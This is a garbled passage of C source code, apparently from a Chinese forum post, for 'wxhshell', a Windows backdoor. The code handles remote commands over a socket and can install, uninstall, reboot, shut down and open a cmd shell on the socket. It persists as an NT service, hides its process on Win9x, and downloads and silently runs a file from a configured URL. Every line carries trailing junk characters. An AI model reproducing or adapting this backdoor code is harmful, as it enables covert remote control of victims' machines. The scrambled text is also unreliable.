  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1'<C-[1  
  else Bx#i?=*W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .}!.4J%q2  
  } uMg\s\Z  
  else { ps 3 )d  
3 39q%j$  
    switch(cmd[0]) { bGWfMu=n  
  hN'])[+V  
  // 帮助 _f[Q\gK  
  case '?': { XH!#_jy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KR aL+A  
    break; LQR2T5S/Q,  
  } cFL~< [>_  
  // 安装 ZkbE&7Z  
  case 'i': { 8v;^jo>ug  
    if(Install()) BNK]Os  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nzflUR{`-  
    else h+g\tYWGP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Lhv=0op  
    break; G|g^yaq>  
    } nQc#AFg  
  // 卸载 @yuiNj .T  
  case 'r': { O]u'7nO{{  
    if(Uninstall()) "Q.*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R_PF*q2 '  
    else 5Kg'&B (  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .hat!Tt9  
    break; "@UQSf,  
    } vamZKm~p  
  // 显示 wxhshell 所在路径 q\6(_U#Tl  
  case 'p': { D`LBv,n  
    char svExeFile[MAX_PATH]; B3#G  
    strcpy(svExeFile,"\n\r"); !K>iSF<  
      strcat(svExeFile,ExeFile); KMRPleF  
        send(wsh,svExeFile,strlen(svExeFile),0); sT\:**  
    break; 7<yc:}9nx  
    } LCHMh6  
  // 重启 (wDE!H7  
  case 'b': { `$T$483/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F_ F"3'[  
    if(Boot(REBOOT)) cszvt2BIg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WUYI1Ij;  
    else { 5}#wp4U  
    closesocket(wsh); @ma(py  
    ExitThread(0); \Rny*px  
    } (&:gD4.  
    break; dVQ[@u1,  
    } 79h~w{IT@  
  // 关机 e,U:H~+]  
  case 'd': { ]O x5F@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BR2Gb~#T  
    if(Boot(SHUTDOWN)) eTuqK23  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z K<af  
    else { g":[rXvId  
    closesocket(wsh); R+M&\ 5  
    ExitThread(0); T D _@0Rd  
    } A'|!O:s   
    break; eM5?fE&!&  
    } Zzlf1#26\  
  // 获取shell [oLV,O|s|j  
  case 's': { ^po@U"  
    CmdShell(wsh); gF)9a_R%p  
    closesocket(wsh); "%-Vrb=:Y  
    ExitThread(0); wX,V:QE  
    break; ffrIi',@  
  } {OU|'  
  // 退出 {a7~P0$  
  case 'x': { TekUY m!G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |mb2<!ag{  
    CloseIt(wsh); 7j]v_2S`  
    break; ~e{ @5.g  
    } L:G#>  
  // 离开 `%C-7D'?  
  case 'q': { j_Szw w-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V'vR(Wx  
    closesocket(wsh); AcH-TIgM/  
    WSACleanup(); H9cPtP~a)  
    exit(1); @]=40Yj~w  
    break; WgtLKRZ\  
        } !U^{`V jp[  
  } +hxG!o?O  
  } 4qQ,1&!]S  
G7%bY  
  // 提示信息 gYKz,$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2B,O/3y  
} O*EV~ {K  
  } /A=w`[<  
6%v9o?:~l  
  return; -=ZL(r 1  
} JB_fS/I  
sXIYl% d  
// shell模块句柄 7;'33Bm*  
int CmdShell(SOCKET sock) y~SVD@  
{ Wl j&_~  
STARTUPINFO si; .JhQxXj  
ZeroMemory(&si,sizeof(si)); _P;D.>?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :KLXrr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uw)7N(os\`  
PROCESS_INFORMATION ProcessInfo; ym%UuC3^w  
char cmdline[]="cmd"; Ni,nQ;9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4QL>LK  
  return 0; '%NglC[J  
} AU{"G  
%Sr+D{B  
// 自身启动模式 7},A. q  
int StartFromService(void) =CX1jrLZ  
{ ^kez]>   
typedef struct K@D\5s|1|  
{ )#=J<OpG  
  DWORD ExitStatus; ]\$/:f-2  
  DWORD PebBaseAddress; \/a6h   
  DWORD AffinityMask; {MUB4-@?F$  
  DWORD BasePriority; r~4uIUE{  
  ULONG UniqueProcessId; 7u):J  
  ULONG InheritedFromUniqueProcessId; zzqJeIS  
}   PROCESS_BASIC_INFORMATION; Uzu6>yT  
[M?2axOC  
PROCNTQSIP NtQueryInformationProcess; HgI!q<)  
V$^jlWdR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {28|LwmL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $XBK_ 5  
zG!nqSDG  
  HANDLE             hProcess; TCtZ2 <'  
  PROCESS_BASIC_INFORMATION pbi; %bW_,b  
k+3qX'fd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8%?y)K^ D  
  if(NULL == hInst ) return 0; rqdwQ  
\@LTXH.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^J!q>KJs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bx@l6bpQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {T){!UVp!  
qQ&uU7,#  
  if (!NtQueryInformationProcess) return 0; Cs'LrUB?=U  
ZL MH~cc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xmW~R*^  
  if(!hProcess) return 0; (\V i _  
7e/+C{3v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [K!9xM6  
Gr"CHz/  
  CloseHandle(hProcess); op,L3:R\Z  
8[^'PIz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QTV*m>D  
if(hProcess==NULL) return 0; .n-#A  
JKfG/z|  
HMODULE hMod; F L0uY0K  
char procName[255]; %u -x9  
unsigned long cbNeeded; QrZ#<{,J5  
eL!41_QI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sV^:u^  
']]d-~:  
  CloseHandle(hProcess); ~/ %Xm<  
s\ IKSoE  
if(strstr(procName,"services")) return 1; // 以服务启动 *7BfK(9T  
NW3 c_]`=  
  return 0; // 注册表启动 4zug9kFK  
} hlTbCl  
RaZ>.5 D  
// 主模块 92+8zX  
int StartWxhshell(LPSTR lpCmdLine) c\bL_  
{ {pzj@b 1S  
  SOCKET wsl; ZykMri3bi  
BOOL val=TRUE; W :w~ M'o  
  int port=0; s}D>.9  
  struct sockaddr_in door; ]BQYVx/  
@ [$_cGR7  
  if(wscfg.ws_autoins) Install(); y4V:)@ P  
s0kp(t!fiu  
port=atoi(lpCmdLine); gT+/nSrLV  
V7ph^^sC}  
if(port<=0) port=wscfg.ws_port; : Mf"   
vDy&sgS$<  
  WSADATA data; p7h#.m~Qu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +Y\:Q<eMFg  
I7f ^2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f)I5=Ijy(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tF2"IP.  
  door.sin_family = AF_INET; J 3!~e+wn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `]Bb0h1![  
  door.sin_port = htons(port); #;!&8iH  
'sNZFB#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W&z jb>0b0  
closesocket(wsl); kc,"w\ ai  
return 1; ?b7\m":'  
} L'e_?`!:  
`i7r]  
  if(listen(wsl,2) == INVALID_SOCKET) { U=>S|>daR  
closesocket(wsl); k[=qx{Osx%  
return 1; 0lw>mxN  
} X/!_>@`7?  
  Wxhshell(wsl); PnsBDf%v  
  WSACleanup(); Jh[0xb  
Onmmcem  
return 0; HpwMm^  
V\V /2u5-  
} [ oWkd_dK  
KKeMi@N  
// 以NT服务方式启动 %!|w(Povq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }d$-:l ,w  
{ ?ukw6T  
DWORD   status = 0; ?Ua,ba*  
  DWORD   specificError = 0xfffffff; Tc2.ciU  
VYyija:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :<% bAn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t=_^$M,yr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lQA5HzC\  
  serviceStatus.dwWin32ExitCode     = 0; 50UdY9E_v}  
  serviceStatus.dwServiceSpecificExitCode = 0; 9&Y@g)+2  
  serviceStatus.dwCheckPoint       = 0; @Z)|_  
  serviceStatus.dwWaitHint       = 0; \l+v,ELX=  
$ /VQsb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  %Bq~b$  
  if (hServiceStatusHandle==0) return; Bx\&7|,x  
V0ze7tSG[f  
status = GetLastError(); 8^mE<  
  if (status!=NO_ERROR) |rmelQ-  
{ kmB!NxF>)F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !^J;S%MB:K  
    serviceStatus.dwCheckPoint       = 0; ^E&PZA\,;  
    serviceStatus.dwWaitHint       = 0; 8$00\><r  
    serviceStatus.dwWin32ExitCode     = status; -(VJ,)8t2  
    serviceStatus.dwServiceSpecificExitCode = specificError; =Q#I@SVp2$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^:nc'C gP  
    return; Ts iJK  
  } |diI(2w  
qHtQ4_Zn;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R!nf^*~  
  serviceStatus.dwCheckPoint       = 0; 1/_g36\l$  
  serviceStatus.dwWaitHint       = 0; K!|eN_1A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VK}4 <u  
} {>&~kM@  
'r;mm^cS?  
// 处理NT服务事件,比如:启动、停止 O"m7r ds  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wjarQog5Y  
{ MDMd$] CW  
switch(fdwControl) Lx"GBEkt7  
{ q*!R4yE;C  
case SERVICE_CONTROL_STOP: 'H1~Zhv  
  serviceStatus.dwWin32ExitCode = 0; %1z;l.c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MqmQ52HR  
  serviceStatus.dwCheckPoint   = 0; Z~'t'.=z  
  serviceStatus.dwWaitHint     = 0; t;O)   
  {  56.!L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0.GFg${v`  
  } z2=bbm:  
  return; V>6klA}o  
case SERVICE_CONTROL_PAUSE: F^ q{[Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4vhf!!1  
  break;  MlO OB  
case SERVICE_CONTROL_CONTINUE: -Cf)`/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }$6L]   
  break; 7*:zN  
case SERVICE_CONTROL_INTERROGATE: ]8$8QQc<<5  
  break; ;\MWxh,K  
}; XqH@3Ehk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^W |YE72Y  
} kUT2/3Vi  
K;K0D@>]HR  
// 标准应用程序主函数 6Yai?*.Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IUMv{2C  
{ xJq|,":gj  
8NN+Z<  
// 获取操作系统版本 TykT(=  
OsIsNt=GetOsVer(); p_$^keOL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); js$R^P  
(qn=BP I  
  // 从命令行安装 ~(kEGEF  
  if(strpbrk(lpCmdLine,"iI")) Install(); os V6=  
J,W<ha*  
  // 下载执行文件 +{UY9_~\3  
if(wscfg.ws_downexe) { "ubp`7%67  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #~0Nk6*u  
  WinExec(wscfg.ws_filenam,SW_HIDE); J}|X  
} \C~X_/sg  
:X>Wd+lY:_  
if(!OsIsNt) { Q_mphW:[  
// 如果时win9x,隐藏进程并且设置为注册表启动 -jH|L{Iyq}  
HideProc(); dPUe5k)G_  
StartWxhshell(lpCmdLine); oEIpv;:_  
} Rv1W&s&  
else  Y@,iDQ  
  if(StartFromService()) a~}q]o?j  
  // 以服务方式启动 $4bc!  
  StartServiceCtrlDispatcher(DispatchTable); 7FX4|]  
else Pz)lq2Zm9  
  // 普通方式启动 h nydH-;cz  
  StartWxhshell(lpCmdLine); *ug~LK5Y.  
v^"\e&XL  
return 0; [ATJ! O  
}
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只看该作者 1 发表于: 2006-10-10
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